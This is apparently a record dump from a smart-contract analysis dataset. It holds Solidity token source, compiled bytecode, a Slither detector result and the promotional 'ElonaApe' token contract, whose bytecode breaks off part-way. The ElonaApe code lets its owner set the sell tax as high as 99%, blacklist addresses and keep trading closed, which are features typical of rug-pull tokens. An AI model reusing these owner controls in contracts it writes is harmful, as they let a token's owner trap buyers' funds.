spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * set minimumPayout price * * @param amount minimumPayout amount in Wei */ function setMinimumPayout(uint256 amount) public onlyOwner { minimumPayout = amount; } /** * save ether to owner account * * @param amount amount in Wei */ function save(uint256 amount) public onlyOwner { require( amount >= minimumPayout ); owner.transfer( amount); } /** * Give back token to contract bypassing selling from owner account * * @param amount amount of token in wei */ function restore(uint256 amount) public onlyOwner { uint256 newPrice = _newPrice(balanceOf[this] + amount); // calc new price after transfer _transfer(owner, this, amount ); // transfer token back to contract _setPrices( newPrice ); // update prices after transfer } /** * Internal transfer, can be called only by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610133578063095ea7b3146101c357806318160ddd146102285780631b862027146102535780631e78cfe11461028057806323b872dd146102ab578063313ce567146103305780634b75033414610361578063596957541461038c57806370a08231146103b95780638620410b146104105780638da5cb5b1461043b57806395d89b41146104925780639bea62ad14610522578063a6f2ae3a1461054f578063a9059cbb1461056d578063c7bdbb95146105ba578063cae9ca51146105e9578063d811f09e14610694578063dd62ed3e146106c3578063e4849b321461073a578063f2fde38b1461077b575b6101306107be565b50005b34801561013f57600080fd5b5061014861084f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018857808201518184015260208101905061016d565b50505050905090810190601f1680156101b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cf57600080fd5b5061020e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ed565b604051808215151515815260200191505060405180910390f35b34801561023457600080fd5b5061023d61097a565b6040518082815260200191505060405180910390f35b34801561025f57600080fd5b5061027e60048036038101908080359060200190929190505050610980565b005b34801561028c57600080fd5b50610295610a57565b6040518082815260200191505060405180910390f35b3480156102b757600080fd5b50610316600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a5d565b604051808215151515815260200191505060405180910390f35b34801561033c57600080fd5b50610345610b8a565b604051808260ff1660ff16815260200191505060405180910390f35b34801561036d57600080fd5b50610376610b9d565b6040518082815260200191505060405180910390f35b34801561039857600080fd5b506103b760048036038101908080359060200190929190505050610ba3565b005b3480156103c557600080fd5b506103fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c08565b6040518082815260200191505060405180910390f35b34801561041c57600080fd5b50610425610c20565b6040518082815260200191505060405180910390f35b34801561044757600080fd5b50610450610c26565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049e57600080fd5b506104a7610c4b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e75780820151818401526020810190506104cc565b50505050905090810190601f1680156105145780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052e57600080fd5b5061054d60048036038101908080359060200190929190505050610ce9565b005b6105576107be565b6040518082815260200191505060405180910390f35b34801561057957600080fd5b506105b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dcb565b005b3480156105c657600080fd5b506105e7600480360381019080803515159060200190929190505050610e1e565b005b3480156105f557600080fd5b5061067a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610e96565b604051808215151515815260200191505060405180910390f35b3480156106a057600080fd5b506106a9611019565b604051808215151515815260200191505060405180910390f35b3480156106cf57600080fd5b50610724600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102c565b6040518082815260200191505060405180910390f35b34801561074657600080fd5b5061076560048036038101908080359060200190929190505050611051565b6040518082815260200191505060405180910390f35b34801561078757600080fd5b506107bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611139565b005b600080600454600b5434028115156107d257fe5b04915061081f82600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403611232565b9050600a548160020211151561083457600080fd5b61083f30338461127c565b61084881611592565b8191505090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108e55780601f106108ba576101008083540402835291602001916108e5565b820191906000526020600020905b8154815290600101906020018083116108c857829003601f168201915b505050505081565b600081600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109db57600080fd5b60085481101515156109ec57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a53573d6000803e3d6000fd5b5050565b60085481565b6000600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610aea57600080fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610b7f84848461127c565b600190509392505050565b600360009054906101000a900460ff1681565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bfe57600080fd5b8060088190555050565b600c6020528060005260406000206000915090505481565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ce15780601f10610cb657610100808354040283529160200191610ce1565b820191906000526020600020905b815481529060010190602001808311610cc457829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4657600080fd5b610d9082600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401611232565b9050610dbe6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16308461127c565b610dc781611592565b5050565b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e0e57610e0881611051565b50610e1a565b610e1933838361127c565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7957600080fd5b80600060146101000a81548160ff02191690831515021790555050565b600080849050610ea685856108ed565b15611010578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610fa0578082015181840152602081019050610f85565b50505050905090810190601f168015610fcd5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610fef57600080fd5b505af1158015611003573d6000803e3d6000fd5b5050505060019150611011565b5b509392505050565b600060149054906101000a900460ff1681565b600d602052816000526040600020602052806000526040600020600091509150505481565b600080600a54600454840281151561106557fe5b049150600854821015151561107957600080fd5b6110c383600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401611232565b9050600a54811015156110d557600080fd5b6110e033308561127c565b6110e981611592565b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561112f573d6000803e3d6000fd5b5081915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561119457600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff16141515156111ba57600080fd5b600060149054906101000a900460ff1615156111d557600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060146101000a81548160ff02191690831515021790555050565b600060075482830281151561124357fe5b04600754836009540281151561125557fe5b0460065460095402010360065483026005540281151561127157fe5b049050809050919050565b6000808373ffffffffffffffffffffffffffffffffffffffff16141515156112a357600080fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156112f157600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561137f57600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561158c57fe5b50505050565b80600b819055506305f5e10063086deb2c600b54028115156115b057fe5b04600a81905550505600a165627a7a72305820f5dde9b793882ebaa25420ec1920e194ffe4d2b98e902b1924bb4c92f4f9bb390029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
7,143
0x7CB6289774De26Fbf7A91CA69da70028Aa8b797c
/** *Submitted for verification at Etherscan.io on 2022-03-20 */ /** ElonaApe - The next 100x ETH gem Telegram: t.me/ElonaApe Website: elonape.co Fairlaunch on Pinksale! */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ElonaApe is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ElonaApe"; string private constant _symbol = "ElonaApe"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 9; uint256 private _taxFeeOnBuy = 0; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x8c42583529102927bDA8dF7dF004041f11516F22); address payable private _marketingAddress = payable(0x4BfBc528742F4Ec09ffc4cC37655a980D6E90D4f); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 150000000000 * 10**9; uint256 public _maxWalletSize = 300000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 99, "Sell tax"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612eaa565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612f7b565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fd3565b61087b565b604051610264919061302e565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906130a8565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906130d2565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e591906130ed565b6108d0565b6040516102f7919061302e565b60405180910390f35b34801561030c57600080fd5b506103156109a9565b60405161032291906130d2565b60405180910390f35b34801561033757600080fd5b506103406109af565b60405161034d919061315c565b60405180910390f35b34801561036257600080fd5b5061036b6109b8565b6040516103789190613186565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906131a1565b6109de565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906131fa565b610ace565b005b3480156103df57600080fd5b506103e8610b80565b005b3480156103f657600080fd5b50610411600480360381019061040c91906131a1565b610c51565b60405161041e91906130d2565b60405180910390f35b34801561043357600080fd5b5061043c610ca2565b005b34801561044a57600080fd5b5061046560048036038101906104609190613227565b610df5565b005b34801561047357600080fd5b5061047c610ea5565b60405161048991906130d2565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b491906131a1565b610eab565b6040516104c691906130d2565b60405180910390f35b3480156104db57600080fd5b506104e4610ec3565b6040516104f19190613186565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906131fa565b610eec565b005b34801561052f57600080fd5b50610538610f9e565b60405161054591906130d2565b60405180910390f35b34801561055a57600080fd5b50610563610fa4565b6040516105709190612f7b565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613227565b610fe1565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613254565b611080565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612fd3565b61127b565b6040516105ff919061302e565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a91906131a1565b611299565b60405161063c919061302e565b60405180910390f35b34801561065157600080fd5b5061065a6112b9565b005b34801561066857600080fd5b50610683600480360381019061067e9190613316565b611392565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613376565b6114cc565b6040516106b991906130d2565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190613227565b611553565b005b3480156106f757600080fd5b50610712600480360381019061070d91906131a1565b6115f2565b005b61071c6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a090613402565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd613422565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613480565b9150506107ac565b5050565b60606040518060400160405280600881526020017f456c6f6e61417065000000000000000000000000000000000000000000000000815250905090565b600061088f6108886117b3565b84846117bb565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108dd848484611984565b61099e846108e96117b3565b6109998560405180606001604052806028815260200161407060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f6117b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122079092919063ffffffff16565b6117bb565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e66117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a90613402565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad66117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a90613402565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc16117b3565b73ffffffffffffffffffffffffffffffffffffffff161480610c375750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1f6117b3565b73ffffffffffffffffffffffffffffffffffffffff16145b610c4057600080fd5b6000479050610c4e8161226b565b50565b6000610c9b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d7565b9050919050565b610caa6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e90613402565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffff